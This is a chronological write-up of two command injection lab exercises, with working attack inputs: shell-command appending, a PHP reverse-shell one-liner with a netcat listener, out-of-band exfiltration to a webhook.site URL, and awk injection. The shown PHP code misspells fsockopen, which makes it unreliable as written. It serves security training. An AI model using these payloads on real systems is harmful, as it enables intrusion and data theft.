

Command Injection – Chronological Notes (Clean Version)

1. Lab Overview: Command Injection 0x01

Lab: Labs / Command Injection 0x01

Function: "Network check" – the application takes a user-provided URL and runs a curl command to retrieve HTTP headers, then displays the result.

Initial legitimate request:

- **Target:** https://tcm-sec.com/
- **Command executed:** curl -I -s -L https://tcm-sec.com | grep "HTTP/"
- **Result shown:** HTTP/2 200

This reveals that the user input is directly embedded into a system command, making it a prime candidate for command injection.

2. Testing Injection – Appending Commands

To confirm the vulnerability, we appended additional commands using ; (the shell command separator).

First test:

- **Input:** https://tcm-sec.com; whoami
- **Executed command:** curl -I -s -L https://tcm-sec.com; whoami | grep "HTTP/"
- **Observation:** The whoami command ran, but its output was piped into grep (which expected curl output), so it was not displayed. However, the injection worked.

Refined test to see output:

- **Input:** https://tcm-sec.com; whoami; echo HTTP/
 - **Executed command:** curl -I -s -L https://tcm-sec.com; whoami | grep "HTTP/"
 - **Result:** The whoami output appeared (likely before the grep), proving command execution.
-

3. Discovering Available System Binaries

To choose an effective reverse-shell payload, we checked which interpreters were installed.

Find bash:

- **Input:** ;which bash; asd
- **Executed:** curl -I -s -L ;which bash; asd | grep "HTTP/"
- **Result:** /bin/bash

Find php:

- **Input:** ;which php; asd
- **Executed:** curl -I -s -L ;which php; asd | grep "HTTP/"
- **Result:** /usr/local/bin/php

Both bash and php are present, giving us multiple options for a reverse shell.

4. Reverse Shell with PHP One-Liner

We crafted a PHP reverse-shell payload and injected it into the target field.

Injection payload:

text

```
/usr/local/bin/php -r '$sock=fsocketopen("192.168.0.105",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
```

This instructs the server to execute PHP with a short script that opens a TCP socket back to 192.168.0.105 on port 4444 and spawns an interactive shell.

5. Setting Up a Netcat Listener

Before executing the payload, we started a listener on the attacker machine.

Command:

bash

```
nc -nvlp 4444
```

Listener status:

text

```
listening on [any] 4444 ...
```

6. Successful Shell Connection and Enumeration

When the injected command was executed (by clicking the check button), the listener received a connection.

Listener output:

text

```
connect to [192.168.0.105] from (UNKNOWN) [172.18.0.4] 37080
```

```
/bin/sh: 0: can't access tty; job control turned off
```

```
$ whoami
www-data
$ hostname
3a1e800fac65
$ ls -lah
total 108K
drwxr-xr-x 3 1000 1000 4.0K Jul 10 17:22 .
drwxrwxrwx 7 1000 1000 4.0K Oct 20 13:23 ..
-rwxr--r-- 1 1000 1000 7 Apr 27 2023 001.php
-rwxr--r-- 1 1000 1000 2.5K Jun 23 16:41 a0x01.php
-rwxr--r-- 1 1000 1000 4.7K Jun 27 07:50 a0x02.php
...
```

Key findings:

- User: www-data (web server user)
- Hostname: 3a1e800fac65 (likely a Docker container ID)
- Directory listing reveals multiple PHP files (the lab application files).

A second listener on port 44444 also confirmed the shell:

```
text
connect to [192.168.0.105] from (UNKNOWN) [172.18.0.4] 38546
$ whoami
www-data
$ hostname
3a1e800fac65
```

7. Command Injection 0x02 – Out-of-Band Exfiltration

Lab: Labs / Command Injection 0x02 – similar "Network check", but also includes a "Redirect vehicle" feature with coordinate inputs.

We used a Webhook (a public HTTP request collector) to exfiltrate command output without needing a shell.

Injection payload (backticks to execute command and append output to URL):

text

```
https://webhook.site/82e1ce0d-29e0-4433-8165-2220b0e32cc7?`whoami`
```

Result: The server executed `whoami`, and its output (`www-data`) was appended as a query parameter to the Webhook URL. The application then performed an HTTP request to that URL, allowing us to capture the data.

Webhook capture details:

- Request type: HEAD or GET
- Query string: `www-data`
- User-Agent: `curl/` (confirming the request originated from the injected command)

Another injection (just appending `whoami` after the URL) also worked and sent the output.

8. Command Injection 0x02 – awk Injection in Redirect Vehicle

The "Redirect vehicle" form asks for X and Y coordinates. The backend likely uses `awk` to compute a distance (e.g., $\sqrt{x^2 + y^2}$). We injected commands into the `awk` expression.

Test injection:

text

```
awk 'BEGIN {print sqrt((( -123)^2) + (( -789)^2))};whoami;#'
```

(The # comments out the rest of the original command to avoid syntax errors.)

Result displayed:

text

```
Executed: awk 'BEGIN {print sqrt((( -123)^2) + (( -789)^2))};whoami;#^2))}'
```

```
Result: 798.53 www-data
```

The computed number (798.53) is printed, and then the output of `whoami` (`www-data`) appears, confirming that command injection is also possible through the coordinate fields.

9. Attempting Reverse Shell in 0x02

A PHP reverse shell payload was also injected into one of the coordinate fields:

text

```
r'$sock=fsocketopen("192.168.0.105",4444);exec("/bin/sh -i <&3 >&3 2>&3");';#
```

This would, if executed, connect back to our listener on port 4444 (the same as earlier). Although the screenshot does not show the result, it indicates that we could achieve a full shell from this lab as well.

10. Additional Test Cases in 0x02

- **Input:** https://tcm-sec.com; whoami; asd – the application returned "Website not found", but the commands likely executed.
- **Input:** https://tcm-sec.com whoami asd – the page showed "Website OK", but the injection still occurred.

These confirm that the parameter is vulnerable regardless of the error message displayed.

Summary of the Attack Chain

1. **Identify injection point** – the "Network check" input that feeds into a curl command.
2. **Prove command execution** – append ; whoami to see output.
3. **Enumerate environment** – find bash and php binaries to choose a payload.
4. **Establish reverse shell** – inject PHP one-liner and catch it with nc.
5. **Exfiltrate data out-of-band** – use Webhook with backticks to capture command output.
6. **Exploit additional vectors** – in awk-based calculations, inject commands to see direct results.

Vulnerable functions:

- curl execution with unsanitised input (0x01 and 0x02).
- awk execution in coordinate processing (0x02 redirect vehicle).

Impact:

- Full remote command execution.
- Interactive shell as www-data.
- Ability to read/write files, pivot, or escalate privileges.
- Data exfiltration without needing a shell.

Mitigation:

- Avoid invoking system shells directly with user input.
- Use built-in language functions for URL fetching and mathematical calculations.
- Validate and sanitise inputs; use allowlists for allowed values.
- Disable dangerous PHP functions (exec, system, shell_exec, etc.).
- Run applications with minimal privileges and in isolated containers.